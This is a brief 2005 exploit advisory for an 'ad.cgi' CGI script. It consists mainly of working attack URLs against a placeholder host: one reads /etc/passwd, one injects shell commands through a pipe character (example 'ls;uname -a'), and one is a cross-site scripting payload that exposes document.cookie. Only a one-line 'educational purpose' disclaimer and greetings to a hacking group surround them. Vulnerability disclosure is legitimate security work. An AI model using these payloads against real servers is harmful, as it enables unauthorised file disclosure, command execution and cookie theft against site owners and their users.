remote command execution in ad.cgi script

[fireboy fireboy]

Tunis 24/04/2005
BUG found by fireboy
fireboy@webmails.com



THERE ARE SOME BUGS IN ad.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE


1)file showing
http://www.target.com/cgi-bin/ad.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/ad.cgi?|command

3)CSS
www.target.com/cgi-bin/ad.cgi?<script>alert(document.cookie)</script>

ex:
http://www.target.com/cgi-bin/ad.cgi?|ls;uname -a;



greetz to all magattack members www.magattack.tk